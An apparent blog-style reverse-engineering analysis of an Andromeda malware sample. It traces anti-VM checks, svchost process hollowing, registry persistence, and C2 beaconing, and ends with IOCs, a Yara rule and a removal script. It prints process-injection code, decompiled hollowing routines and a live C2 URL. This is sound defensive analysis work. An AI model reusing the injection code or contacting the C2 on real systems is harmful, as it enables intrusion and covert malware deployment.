AndroMeda Malware analysis
Attack Flow Graph


Deep analysis
First it gets the kernel32 base address from the peb and then resolves LdrGetDllHandle

Then it resolves some additional functions from the kernel32 dll handle and storing it into v31


using hashdb we get the functions

then it calls some function with lol

turns out it was openmutex call, so the mutex name is lol

then checks last error from teb equals two (likely ERROR_FILE_NOT_FOUND error code), seems like if mutex opened successful

passing the check, then it iterates over the process searching for any vm processes


passing the check, we arrive at another check for sandboxie dll it tries to gethandle of that dll if succeed we go to that rabbit hole function


Then another check for checking registry keys at system\currentcontrolset\services\disk\enum which contains the name and serial ID of disk (antiVM)



Then does a check to check time elapsed between instruction (antidebugging but does nothing with it nopped)

We arrive at last bit of code which seems like our main functions

it takes in a huge blob likely a packed code

and prepares another variable containing another encoded code

NTSYSAPI NTSTATUS ZwAllocateVirtualMemory(
[in] HANDLE ProcessHandle,
[in, out] PVOID *BaseAddress,
[in] ULONG_PTR ZeroBits,
[in, out] PSIZE_T RegionSize,
[in] ULONG AllocationType,
[in] ULONG Protect
)


Then while debugging running over this function, exits the exe and executes malicious behaviour

Maybe because it starts with modifying the ret address

Setting some breakpoints, noticed it is writing something , some decoded data

decoded more data, likely this is the process it will inject svchost

it is just writing some gibberish now so i will break on that interesting call


it hit that breakpoint, and we see new data written , libraries used for process injection (maybe it will modify some code)

Now we got out of the function (it was just a weird error), lets skip this processing till we get this last bit


This line sounds interesting, running till that instruction, and letting all deobfuscation write to that dynamic function that is called

Then we see the decoded routine, where the process injection happens

Going till the virtualalloc and grabbing the allocated address in the dump, and turns out it only contained value for the process name to inject

basically what is happening is similar to this code
if (CreateProcessA(szFileName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == FALSE) {
Debug("[Debug] RunPE(): CreateProcessA(): (%lu)\n", GetLastError());
return FALSE;
}
/* Get thread context (processor-specific register data) */
context.ContextFlags = CONTEXT_FULL;
if (GetThreadContext(pi.hThread, &context) == FALSE) {
Debug("[Debug] RunPE(): GetThreadContext()");
}
/* Unmap memory space of program */
pZwUnmapViewOfSection = (PZUVOS)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
pZwUnmapViewOfSection(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase);
/* Allocate virtual memory for program */
lpAddress = VirtualAllocEx(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAddress == NULL) {
Debug("[Debug] RunPE(): VirtualAllocEx(): (%lu)\n", GetLastError());
return FALSE;
}
And this code also, notice memcpy part i will break at all memcpy to dump the packed malware memcpy in assembly is rep movsb

// create a memory section
fNtCreateSection(§ionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
// create a view of the memory section in the local process
fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE);
// create a view of the memory section in the target process
HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, false, 1480);
fNtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READ);
// copy shellcode to the local view, which will get reflected in the target process's mapped view
memcpy(localSectionAddress, buf, sizeof(buf));
HANDLE targetThreadHandle = NULL;
https://cocomelonc.github.io/tutorial/2021/12/13/malware-injection-12.html And here it is deciding what to inject based on OS 32 or 64 bit ,i get svchost because iam on 64 bit OS.


Then the start of typical process injection, it creates a process with CREATE_SUSPENDED (at push 4)

Our first hit with memcpy, is the malware is copying svchost after mapping it

Our second hit, we see it is copying itself into the svchost

Then it creates suspended process with the copied svchost

Then writes our copied malware into mapped svchost

I debugged the malware into ida then fixed function calls ,types and renaming to make analysis easier
void __cdecl __noreturn sub_300C0(int a1)
{
char *v1; // edx
char *v2; // edi
char *v3; // esi
void *v4; // [esp+0h] [ebp-354h] BYREF
int v5; // [esp+B0h] [ebp-2A4h]
struct _PROCESS_INFORMATION ProcessInformation; // [esp+2CCh] [ebp-88h] BYREF
struct _STARTUPINFOW StartupInfo; // [esp+2DCh] [ebp-78h] BYREF
char *svchostInMEM; // [esp+320h] [ebp-34h] BYREF
int v9; // [esp+324h] [ebp-30h] BYREF
char *v10; // [esp+328h] [ebp-2Ch] BYREF
int v11; // [esp+32Ch] [ebp-28h] BYREF
int v12; // [esp+330h] [ebp-24h]
unsigned int v13; // [esp+334h] [ebp-20h] BYREF
int v14; // [esp+338h] [ebp-1Ch]
_IMAGE_DOS_HEADER *localSelectionAddress; // [esp+33Ch] [ebp-18h] BYREF
int v16; // [esp+340h] [ebp-14h] BYREF
HANDLE v17; // [esp+344h] [ebp-10h]
LPWSTR lpFilename; // [esp+348h] [ebp-Ch]
HMODULE thisFile; // [esp+34Ch] [ebp-8h]
int v20; // [esp+350h] [ebp-4h] BYREF
thisFile = GetModuleHandleW(0);
lpFilename = VirtualAlloc(0, 0x8000u, 0x1000u, 4u);
if ( !lpFilename )
LABEL_26:
ExitProcess(0);
GetModuleFileNameW(0, lpFilename, 0x8000u);
SetEnvironmentVariableW(&Name, lpFilename);
if ( !GetWindowsDirectoryW(lpFilename, 0x8000u)
|| ((v20 = 0, (ZwQueryInformationProcess)(-1, 26, &v20, 4, 0), v20) ? lstrcatW(lpFilename, &off_30094) : lstrcatW(lpFilename, &String2),
v17 = CreateFileW(lpFilename, GENERIC_READ, 1u, 0, OPEN_EXISTING, 0x80u, 0),
v17 == -1) )
{
LABEL_25:
VirtualFree(lpFilename, 0, 0x8000u);
goto LABEL_26;
}
if ( (ZWCreateSection)(&v16, 4, 0, 0, 2, 0x1000000, v17) < 0 )
{
LABEL_24:
CloseHandle(v17);
goto LABEL_25;
}
localSelectionAddress = 0;
v13 = 0;
if ( (NtMapViewOfSection)(v16, -1, &localSelectionAddress, 0, 0, 0, &v13, 1, 0, PAGE_READONLY) < 0 )// svchost
{
LABEL_23:
(ZwClose)(v16);
goto LABEL_24;
}
v1 = &localSelectionAddress->e_lfarlc + localSelectionAddress->e_lfanew;
v13 = *(&localSelectionAddress[1].e_sp + localSelectionAddress->e_lfanew);
v12 = *(v1 + 4);
v14 = 0;
if ( (ZWCreateSection)(&v9, &unk_F001F, 0, &v13, 64, 0x8000000, 0) < 0 )// create memory section at svchost
{
LABEL_22:
(NtUnmapViewOfSection)(-1, localSelectionAddress);
goto LABEL_23;
}
svchostInMEM = 0;
v13 = 0;
if ( (NtMapViewOfSection)(v9, -1, &svchostInMEM, 0, 0, 0, &v13, 1, 0, PAGE_READWRITE) < 0 )
{
LABEL_21:
(ZwClose)(v9);
goto LABEL_22;
}
qmemcpy(svchostInMEM, localSelectionAddress, v13);// copy svchost
v13 = *(thisFile + *(thisFile + 15) + 80); // This file
v14 = 0;
if ( (ZWCreateSection)(&v11, &unk_F001F, 0, &v13, 64, 0x8000000, 0) >= 0 )
{
v10 = 0;
v13 = 0;
if ( (NtMapViewOfSection)(v11, -1, &v10, 0, 0, 0, &v13, 1, 0, PAGE_READWRITE) >= 0 )
{
// copy this file (itself) into memory
qmemcpy(v10, thisFile, v13); // and does nothing with it
memset(&StartupInfo, 0, sizeof(StartupInfo));
StartupInfo.cb = 68;
if ( CreateProcessW(0, lpFilename, 0, 0, 0, CREATE_SUSPENDED, 0, 0, &StartupInfo, &ProcessInformation) )
{
v13 = -1000000;
v14 = -1;
(NtDelayExecution)(0, &v13); // sleep
(NtUnmapViewOfSection)(-1, v10);
v10 = 0;
v13 = 0; // Map svchost into memory
if ( !(NtMapViewOfSection)(v11, ProcessInformation.hProcess, &v10, 0, 0, 0, &v13, 1, 0, 64) )
{
(ZwClose)(v11);
v2 = &svchostInMEM[v12];
*v2++ = 'h';
*v2 = &v10[a1 - thisFile];
v2[4] = -61; // adds `push 28213B9; ret` to svchost entry in memory
v4 = &unk_10002;
if ( (GetThreadContest)(ProcessInformation.hThread, &v4) )
{
v3 = (v5 - v12);
(NtUnmapViewOfSection)(ProcessInformation.hProcess, v5 - v12);
(NtUnmapViewOfSection)(-1, svchostInMEM);
svchostInMEM = v3;
v13 = 0;
if ( !(NtMapViewOfSection)(v9, ProcessInformation.hProcess, &svchostInMEM, 0, 0, 0, &v13, 1, 0, 64) )
(NtResumeThread)(ProcessInformation.hThread, 0);
goto LABEL_21;
}
goto LABEL_20;
}
}
else
{
(NtUnmapViewOfSection)(-1, v10);
}
}
(ZwClose)(v11);
}
LABEL_20:
(NtUnmapViewOfSection)(-1, svchostInMEM);
goto LABEL_21;
}
Now that we got the big picture, i will set a breakpoint at this location to dump the modified svchost

Then follow address EDI in dissassembler, we find the modified code which is a jump to that location

Following into memory then dumping the file

The sections point to nothing, for example first section points to 400 while its null bytes as it was dumped from memory




So the executable didn’t run, there was an error, i decided to break at NtResumeThread, then run to that function, in windbg attach to the created process svchost and break of entry bp $exentry
and run in windbg , and then step over the NtResumeThread
and we get a hit on windbg


First it get the next instruction address by call and pop , where EAX will be at the end address of the first instruction


then it calls a function with that address

and we get peb walking and api hashing

to make it easier i will use ida with windbg debugger with same steps, attach process , run over to NtResumeThread , break on entrypoint , run , then stepover NtResumeThread


we arrive at same push ret

and then it is calling same decrypting function in original malware with a blob of data


We arrive at this compare where it is skipped in original malware (this code changes the dynamic function that will be called later)

Running over some functions, we arive at a patched instruction with int 3 (cc) where it will decode data for the dynamic routine

And here what the code looks like after replicating the patched instructions (notice we are still at the code that decodes the dynamic routine that was skipped in original malware)

The instructions was patched by the malware, to continue debugging, we will return this to normal

and we got a reference from a clean sample

fixed


we arrive at the jump address but it is also patched, so we have to fix it same way from the clean sample



Stage 2
And finally we arrive the main malicious code

First function is a kernel32dll seterror, going into the second , it is also peb walking and api hashing


It gets the volume information and OS version

Then checks if process is 64 or 32 bit

Then sleeps and allocates place in memory

Then it gets path of environment variable src


Then calls a routine , that checks whether iam in admin group or not using this sid S-1-5-32-544 sidInfo

If iam admin it will use all users and run registry , and if not it will just use current user and load registry

Then it used GetTickCount that Retrieves the number of milliseconds that have elapsed since the system was started
and masks it to 3 bits (as a way to generate a random number and set that dword variable based on that)

which at the end settles on exe

Then it creates a mutex with My VolumeInfo as a name, Then does GetLastError() != 183
to check ERROR_ALREADY_EXISTS error if mutex already exists

Then it calls a function, which copies our executable into allocated memory , and prepares temp folder variable


Then it gets just the executable name

Then it checks if the file is in the temp folder to do the following code


Next function just allocates heap and another garbage code

Prepares a name of the path executable that will likely copy into it, the executable will be in temp folder with name ms(RANDOM).exe (the random is from str(heapPTR))

Then this blob, to copy the file into temp folder

Then it sets CreationTime, &LastAccessTime, &LastWriteTime of svchost same as the created file in temp

And copies the path of temp folder executable into registry key load



Sets security descriptor of the key to D:(A;;KRWD;;;WD)
A: This stands for "Allow." It specifies that this ACE allows access.
KRWD: These are access rights. Each letter corresponds to a specific set of rights:
K: Read Control
R: Read
W: Write
D: Delete
;;;WD: These are SID (Security Identifier) placeholders. The ;;; indicates that the ACE applies to "Everyone" (the well-known SID for the Everyone group).
The WD part specifies that this ACE applies to the "Everyone" group.
Then deletes the original file

Next in the program flow, it calls 3 routines which are just noise

First one, enumerates all registry values under Software\\microsoft
, and search for that random number(i think) and does nothing with the return


Second function , enumerates all registry values under Software\\microsoft
, and checks if type is reg_sz, and calls every software there


and sets the directory to %alluserprofile%


Third function calls www.update.microsoft.com

Now onto the main function, it is in an infinite loop with a sleep at the end

It first prepares a string with some of my info like id , admin or not (to know which machine it is running on)

Then calls a loop that will break at first round (junk code)

Encodes my info

Then calls sub_2EC0FC1 with my data

Which is a base64


Then enter an infinite loop (to ensure data send, will break on data sent), and calls postreq with my encoded data

and this url http://filer.comeze.com/panel/image.php

Into the postreq function, first it removes http:// from the url

then removes what is after /

Then does series of checks to try to resolve the host



we got ip 1677745305 converting it to ip we get


starts the connection

Then it checks if it got our info sends it as post request else just sends a get request, and gets the response in v13

And returns the response

Decodes the response, then calls a routine with that response

In the function, it does some processing, then call another function with the processed response

And based on the response it does multiple code cases

First case, it downloads an executable to %src% with name [Random].exe, then creates a process with that exe

Second case, gets response data and pass it to sub_372119 and then saves the [Random].exe into software\microsoft registry


If there was error (miscalc) it would send the result as post request

sub_372119 is same as we saw in orignial malware, it likely write a dynamic routine

Third case, writes a file into temp folder with random name , and starts a process as that executable

Fourth case , Writes an executable as ms[Random].dat (from The post request response)inside %alluserprofile%

Fifth case is a cleanup deletes the executable and the registry created

Sixth case runs what is in Load registry as a created process

Seventh case it is retuning software\microsoft registry access to Everyone and does a cleanup of load registry

Then at the very end does a cleanup and deletes the file

IOCs
Hash SHA256:F3BB357944367A76A7AD5CC1791CE0ED41A24B4C8015DB97A97937EC6B56124C
IP: 153.92.0.100
id:%lu|bid:%lu|bv:%lu|sv:%lu|pa:%lu|la:%lu|ar:%lu
%allusersprofile%
S-1-5-32-544
%userprofile%
software\microsoft\windows nt\currentversion\windows
%allusersprofile%
software\microsoft\windows\currentversion\Policies\Explorer\Run
%s\ms%s.%s
D:(A;;KA;;;WD)
D:(A;;KRWD;;;WD)
D:(A;;KA;;;WD)
ms%08X.dat
%allusersprofile%\
ms%08X.dat
%tmp%\
%08x.exe
id:%lu|tid:%lu|result:%lu
d40e75961383124949436f37f45a8cb6|
http://filer.comeze.com/panel/image.php
POST /%s HTTP/1.1 Host: %s User-Agent: Mozilla/4.0 Content-Type: application/x-www-form-urlencoded Content-Length: %d Connection: close
GET /%s HTTP/1.0 Host: %s User-Agent: Mozilla/4.0 Connection: close
aabcdeefghiijklmnoopqrstuuvwxyzaU
software\microsoft
C:\Windows\SysWOW64\
qemut!
vboxt-
wmwat9
hsk\\ehs\\dihviceh\\serhlsethntrohntcohurrehem\\chsyst
Yara rule
rule sample2
{
strings:
$str = "hsk\\ehs\\dihviceh\\serhlsethntrohntcohurrehem\\chsyst"
condition:
uint16(0) == 0x5a4d and $str
}
Removal
regini -i hklmSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorerRun [1 5 7 11] regini -i hcuSoftwareMicrosoftWindows NTCurrentVersionWindows [1 5 7 11]
import psutil
import re
import os
import tempfile
import winreg
import sys
import win32security
import ntsecuritycon
def remove(path):
path = path.replace("\\", "/")
os.remove(path)
print("File at {} was deleted".format(path))
def deleteRegistry(regKey, regSubkey, malFile):
try:
hKey = winreg.OpenKey(regKey, regSubkey, 0, winreg.KEY_ALL_ACCESS)
i = 0
while True:
try:
x = winreg.EnumValue(hKey, i)
value = str(x[0])
data = str(x[1])
if malFile in data:
print("Found Malware registry value")
winreg.DeleteValue(hKey, value)
print("Deleted Malware registry value")
break
i += 1
except Exception as e:
break
except Exception as e:
print(f"Error opening registry key: {e}")
finally:
winreg.CloseKey(hKey)
def setRegistryPermissions(key, subkey, username, permissions):
try:
key_handle = winreg.OpenKey(key, subkey, 0, winreg.KEY_SET_VALUE)
security_descriptor = win32security.GetSecurityInfo(key_handle, win32security.SE_REGISTRY_KEY, win32security.DACL_SECURITY_INFORMATION)
dacl = security_descriptor.GetSecurityDescriptorDacl()
everyone = win32security.LookupAccountName("", "Everyone")[0]
ace = win32security.ACE(
win32security.ACL_REVISION,
permissions,
0,
everyone
)
dacl.AddAccessAllowedAce(ace)
win32security.SetSecurityInfo(
key_handle,
win32security.SE_REGISTRY_KEY,
win32security.DACL_SECURITY_INFORMATION,
None,
None,
dacl,
None
)
print(f"Permissions modified for {subkey} key.")
except Exception as e:
print(f"Error modifying permissions for {subkey} key: {e}")
finally:
winreg.CloseKey(key_handle)
# Your registry paths
regPath1 = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"
regPath2 = r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
regPath3 = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"
# Flag to indicate 32 or 64 bits.
is32bit = 1 if sys.maxsize > 2**32 else 0
malFile = ""
malProcess = ""
if is32bit:
malProcess = "wuauclt.exe"
else:
malProcess = "svchost.exe"
tempDir = tempfile.gettempdir()
for proc in psutil.pids():
p = psutil.Process(proc)
if p.name() == malProcess:
try:
files = p.open_files()
except:
continue
for f in files:
if tempDir in f[0]:
x = f[0].split('\\')
if x[-1][0:2] == "ms":
malFile = x[-1]
print("Malware random name is: {}".format(malFile))
try:
p.kill()
print("Malware Process with PID {} was killed".format(proc))
except Exception as e:
print("Unable to kill the process")
exit(1)
if not malFile:
exit(0)
remove(os.path.join(tempDir, malFile))
key1 = winreg.HKEY_CURRENT_USER
sub1 = r"Software\Microsoft\Windows NT\CurrentVersion\Windows"
key2 = winreg.HKEY_LOCAL_MACHINE
sub2 = r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
# Set permissions for the registry keys
setRegistryPermissions(key1, sub1, "Everyone", ntsecuritycon.KEY_ALL_ACCESS)
setRegistryPermissions(key2, sub2, "Everyone", ntsecuritycon.KEY_ALL_ACCESS)
# Delete the registry values
deleteRegistry(key1, sub1, malFile)
deleteRegistry(key2, sub2, malFile)
Mitre ATT&CK
ATT&CK Tactic |
ATT&CK Technique |
---|---|
DEFENSE EVASION |
Virtualization/Sandbox Evasion::System Checks T1497.001 Time, Delay (object) Anti-Sandbox + Anti-VM |
EXECUTION |
Shared Modules T1129 CreateMutexA LoadLibraryA, LdrLoadDLL, GetModuleHandleA, CreateFileMappingA CreateRemoteThread, ResumeThread, OpenThread::Process injection |
Persistence |
Registry Key: Run,Load File (startup) |
Command and Control + Exfiltration |
Internet/inet/Connect, HTTP, URL, Socket, Send DNS Query |